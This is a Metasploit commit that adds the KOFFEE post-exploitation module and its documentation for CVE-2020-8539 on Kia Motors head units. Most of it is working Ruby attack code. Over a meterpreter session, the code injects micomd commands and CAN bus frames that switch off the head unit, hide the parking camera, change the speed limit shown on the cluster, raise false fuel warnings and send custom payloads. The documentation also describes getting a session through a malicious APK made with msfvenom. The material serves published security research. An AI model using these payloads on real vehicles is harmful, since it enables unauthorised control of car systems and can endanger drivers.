Land #15021, add KOFFEE exploit for CVE-2020-8539

This commit is contained in:
Spencer McIntyre
2021-04-23 09:25:16 -04:00
2 changed files with 348 additions and 0 deletions
@@ -0,0 +1,95 @@
## Vulnerable Application
KOFFEE exploits the CVE-2020-8539, which is an Arbitrary Code Execution vulnerability that allows a user to execute the
`micomd` binary with valid payloads on Kia Motors Head Units. By using KOFFEE an attacker can send crafted `micomd`
commands to control the head unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle.
### Vulnerable Head Unit software versions
- SOP.003.30.180703
- SOP.005.7.181019
- SOP.007.1.191209
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use post/android/local/koffee`
- [ ] `set session 1`
- [ ] `toogle_radio_mute` or `run`
### What do you need
* An active session with the Head Unit
## Options
### MICOMD
It contains the path to micomd executable
### NUM_MSG
It expresses the number of MICOM commands sent each time
### PERIOD
It indicates the time (ms) interval between two MICOM commands, aka Period of CAN frames
### SESSION
It refers to the metasploit session number on which this module is run.
### CMD_PAYLOAD
It refers to the Micom payload to be injected, e.g., cmd byte1 byte3 byte2'. By default it is set to `00 00 00`. This
options works only for the `INJECT_CUSTOM` action
## Actions
The following actions can be triggered on the Head Unit. An action can be triggered by inserting in the Metasploit input
console the action name in lowercase, e.g., `camera_reverse_off`.
- CAMERA_REVERSE_OFF: It hides the parking camera video stream
- CAMERA_REVERSE_ON: It shows the parking camera video stream
- CLUSTER_CHANGE_LANGUAGE: It changes the cluster language
- CLUSTER_RADIO_INFO: It shows radio info in the instrument cluster
- CLUSTER_RANDOM_NAVIGATION: It shows navigation signals in the instrument cluster
- CLUSTER_ROUNDABOUT_FARAWAY: It shows a round about signal with variable distance in the instrument cluster
- CLUSTER_SPEED_LIMIT: It changes the speed limit shown in the instrument cluster
- HIGH_SCREEN_BRIGHTNESS: It increases the head unit screen brightness
- INJECT_CUSTOM: It injects custom micom payloads
- LOW_FUEL_WARNING: It pops up a low fuel message on the head unit
- LOW_SCREEN_BRIGHTNESS: It decreases the head unit screen brightness
- MAX_RADIO_VOLUME: It sets the radio volume to the max
- NAVIGATION_FULL_SCREEN: It pops up the navigation app
- REDUCE_RADIO_VOLUME: It reduces radio volume
- SEEK_DOWN_SEARCH: It triggers the seek down radio frequency search
- SEEK_UP_SEARCH: It triggers the seek up radio frequency search
- SET_NAVIGATION_ADDRESS: It pops up the navigation address window
- SWITCH_OFF_Hu: It switches off the head unit
- SWITCH_ON_Hu: It switches on the head unit
- TOGGLE_RADIO_MUTE It mutes/unmutes the radio
An action can be also triggered using the commands:
- [ ] `set action CAMERA_REVERSE_ON`
- [ ] `run`
To execute the `INJECT_CUSTOM` action, you may want also to set up the right payload.
The commands to use to trigger this action are
- [ ] `set action INJECT_CUSTOM`
- [ ] `set CMD_PAYLOAD 01 FF`
- [ ] `run`
## Scenarios
KOFFEE can be run as post-exploitation module when an active session is available with the Head Unit (HU). First, an
attacker may create a malicious apk to generate a remote connection with the HU. For instance, using msfvenom or other
tools, an attacker can create the malicious apk that, once installed in the HU, starts an active session. Now, the
attacker is able to use the KOFFEE exploit to take control of the HU and inject CAN bus frames into the M-CAN bus of the
vehicle.
### Usage
```
msf6 > use post/android/local/koffee
msf6 post(android/local/koffee) > set session 1
session => 1
msf6 post(android/local/koffee) > toggle_radio_mute
[*] -- Starting action --
[*] -- Mute/umute radio --
[+] -- Command Sent --
```
+253
View File
@@ -0,0 +1,253 @@
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'KOFFEE - Kia OFFensivE Exploit',
'Description' => %q{
This module exploits CVE-2020-8539, which is an arbitrary code execution vulnerability that allows an to
attacker execute the micomd binary file on the head unit of Kia Motors. This module has been tested on
SOP.003.30.18.0703, SOP.005.7.181019 and SOP.007.1.191209 head unit software versions. This module, run on an
active session, allows an attacker to send crafted micomd commands that allow the attacker to control the head
unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle.
},
'SessionTypes' => ['meterpreter'],
'Author' =>
[
'Gianpiero Costantino',
'Ilaria Matteucci'
],
'References' =>
[
['CVE', '2020-8539'],
['URL', 'https://sowhat.iit.cnr.it/pdf/IIT-20-2020.pdf']
],
'Actions' => [
[ 'TOGGLE_RADIO_MUTE', { 'Description' => 'It mutes/umutes the radio' } ],
[ 'REDUCE_RADIO_VOLUME', { 'Description' => 'It decreases the radio volume' } ],
[ 'MAX_RADIO_VOLUME', { 'Description' => 'It sets the radio volume to the max' } ],
[ 'LOW_SCREEN_BRIGHTNESS', { 'Description' => 'It decreases the head unit screen brightness' } ],
[ 'HIGH_SCREEN_BRIGHTNESS', { 'Description' => 'It increases the head unit screen brightness' } ],
[ 'LOW_FUEL_WARNING', { 'Description' => 'It pops up a low fuel message on the head unit' } ],
[ 'NAVIGATION_FULL_SCREEN', { 'Description' => 'It pops up the navigation app window' } ],
[ 'SET_NAVIGATION_ADDRESS', { 'Description' => 'It pops up the navigation address window' } ],
[ 'SEEK_DOWN_SEARCH', { 'Description' => 'It triggers the seek down radio frequency search' } ],
[ 'SEEK_UP_SEARCH', { 'Description' => 'It triggers the seek up radio frequency search' } ],
[ 'SWITCH_ON_HU', { 'Description' => 'It switches on the head unit' } ],
[ 'SWITCH_OFF_HU', { 'Description' => 'It switches off the head unit' } ],
[ 'CAMERA_REVERSE_ON', { 'Description' => 'It shows the parking camera video stream' } ],
[ 'CAMERA_REVERSE_OFF', { 'Description' => 'It hides the parking camera video stream' } ],
[ 'CLUSTER_CHANGE_LANGUAGE', { 'Description' => 'It changes the cluster language' } ],
[ 'CLUSTER_SPEED_LIMIT', { 'Description' => 'It changes the speed limit shown in the instrument cluster' } ],
[ 'CLUSTER_ROUNDABOUT_FARAWAY', { 'Description' => 'It shows a round about signal with variable distance in the instrument cluster ' } ],
[ 'CLUSTER_RANDOM_NAVIGATION', { 'Description' => 'It shows navigation signals in the instrument cluster ' } ],
[ 'CLUSTER_RADIO_INFO', { 'Description' => 'It shows radio info in the instrument cluster ' } ],
[ 'INJECT_CUSTOM', { 'Description' => 'It injects custom micom payloads' } ]
],
'DefaultAction' => 'TOGGLE_RADIO_MUTE',
'Platform' => 'Android',
'DisclosureDate' => '2020-12-02',
'License' => MSF_LICENSE
)
)
register_options([
OptString.new('MICOMD', [true, 'Path to micomd executable', '/system/bin/micomd']),
OptString.new('PERIOD', [true, 'Time (ms) interval between two MICOM commands, aka Period of CAN frames', '0.200']),
OptInt.new('NUM_MSG', [true, 'Number of MICOM commands sent each time', '5']),
OptString.new('CMD_PAYLOAD', [ false, 'Micom payload to inject, e.g., cmd byte1 byte3 byte2', '00 00 00'], conditions: %w[ACTION == INJECT_CUSTOM]),
])
end
def send_in(m_cmd)
cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}"
cmd_exec(cmd)
print_good(' -- Command Sent -- ')
end
def send_out(m_cmd)
cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}"
cmd_exec(cmd)
print_good(' -- Command Sent -- ')
end
def send_custom(m_cmd)
cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}"
var = 0
while var < datastore['NUM_MSG'].to_s.to_i
cmd_exec(cmd)
var += 1
print_status("> Sending #{var} out of #{datastore['NUM_MSG']}")
sleep(datastore['PERIOD'].to_s.to_f)
end
print_good(' -- Custom payload Sent-- ')
end
def send_out_custom(m_cmd)
cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}"
var = 0
while var < datastore['Num_msg'].to_s.to_i
cmd_exec(cmd)
var += 1
print_status("> Sending #{var} out of #{datastore['NUM_MSG']}")
sleep(datastore['PERIOD'].to_s.to_f)
end
print_good(' -- CAN bus frames sent-- ')
end
def run
# all conditional options are required when active, make sure none of them are blank
options.each_pair do |name, option|
next if option.conditions.empty?
next unless Msf::OptCondition.show_option(self, option)
fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
end
print_status(' -- Starting action -- ')
send("action_#{action.name.downcase}")
end
def action_toggle_radio_mute
print_status(' -- Mute/umute radio -- ')
send_in('8351 04')
end
def action_reduce_radio_volume
print_status(' -- Reduce radio volume -- ')
send_out('0112 F4 01')
end
def action_max_radio_volume
print_status(' -- Max radio volume -- ')
send_out('0112 F0')
end
def action_low_screen_brightness
print_status(' -- Low screen brightness -- ')
send_in('8353 07 01')
end
def action_high_screen_brightness
print_status(' -- High screen brightness -- ')
send_in('8353 07 00')
end
def action_low_fuel_warning
print_status(' -- Low fuel warning -- ')
send_in('8353 0B 01')
end
def action_navigation_full_screen
print_status(' -- Navigation windows full screen -- ')
send_in('8353 0C 01')
end
def action_set_navigation_address
print_status(' -- Navigation address window pops up -- ')
send_in('8353 0D 03')
end
def action_seek_down_search
print_status(' -- Seek down radio search -- ')
send_out('133 01')
end
def action_seek_up_search
print_status(' -- Seek up radio search -- ')
send_out('133 02')
end
def action_switch_on_hu
print_status(' -- Switch on Head unit -- ')
send_out('170 01')
end
def action_switch_off_hu
print_status(' -- Switch off Head unit -- ')
send_out('170 00')
end
def action_camera_reverse_on
print_status(' -- Parking camera video stream on -- ')
send_in('8353 03 01')
end
def action_camera_reverse_off
print_status(' -- Parking camera video stream off -- ')
send_in('8353 03 00')
end
def action_cluster_change_language
print_status(' -- Korean -- ')
send_out_custom('4D3 01')
print_status(' -- Arabic -- ')
send_out_custom('4D3 08')
print_status(' -- Polish -- ')
send_out_custom('4D3 0E')
print_status(' -- Italian -- ')
send_out_custom('4D3 12')
end
def action_cluster_speed_limit
print_status(' -- Chaning speed limit on the instrument cluster -- ')
send_out_custom('4DB 00 0A')
send_out_custom('4DB 00 2A')
send_out_custom('4DB 00 3A')
send_out_custom('4DB 00 5A')
send_out_custom('4DB 00 7A')
send_out_custom('4DB 00 9A')
send_out_custom('4DB 00 AA')
send_out_custom('4DB 00 BA')
end
def action_cluster_roundabout_faraway
print_status(' -- km -- ')
send_out_custom('4D1 66 00 00 00 14 86 10 00')
print_status(' -- mi -- ')
send_out_custom('4D1 66 00 00 00 14 86 20 00')
print_status(' -- ft -- ')
send_out_custom('4D1 66 00 00 00 14 86 30 00')
print_status(' -- yd -- ')
send_out_custom('4D1 66 00 00 00 14 86 40 00')
print_status(' -- No distance -- ')
send_out_custom('4D1 66 00 00 00 14 86 50 00')
end
def action_cluster_random_navigation
print_status(' -- Calculating the route -- ')
send_out_custom('4D1 09')
print_status(' -- Recalculating the route -- ')
send_out_custom('4D1 0A')
print_status(' -- Straight ahead -- ')
send_out_custom('4D1 0D')
print_status(' -- Exit on the Right -- ')
send_out_custom('4D1 13')
print_status(' -- Exit on the Left -- ')
send_out_custom('4D1 14')
end
def action_cluster_radio_info
print_status(' -- USB Music -- ')
send_out_custom('4D6 65')
print_status(' -- Android Auto -- ')
send_out_custom('4D6 6F')
print_status(' -- FM 168.17 -- ')
send_out_custom('4D6 11 9D 00 00 00 00 5F 83')
print_status(' -- FM1 168.17 -- ')
send_out_custom('4D6 12 9D 00 00 00 00 5F 83')
print_status(' -- FM2 168.17 -- ')
send_out_custom('4D6 13 9D 00 00 00 00 5F 83')
end
def action_inject_custom
print_status(" -- Injecting custom payload (#{datastore['CMD_PAYLOAD']}) -- ")
send_custom(datastore['CMD_PAYLOAD'])
end
end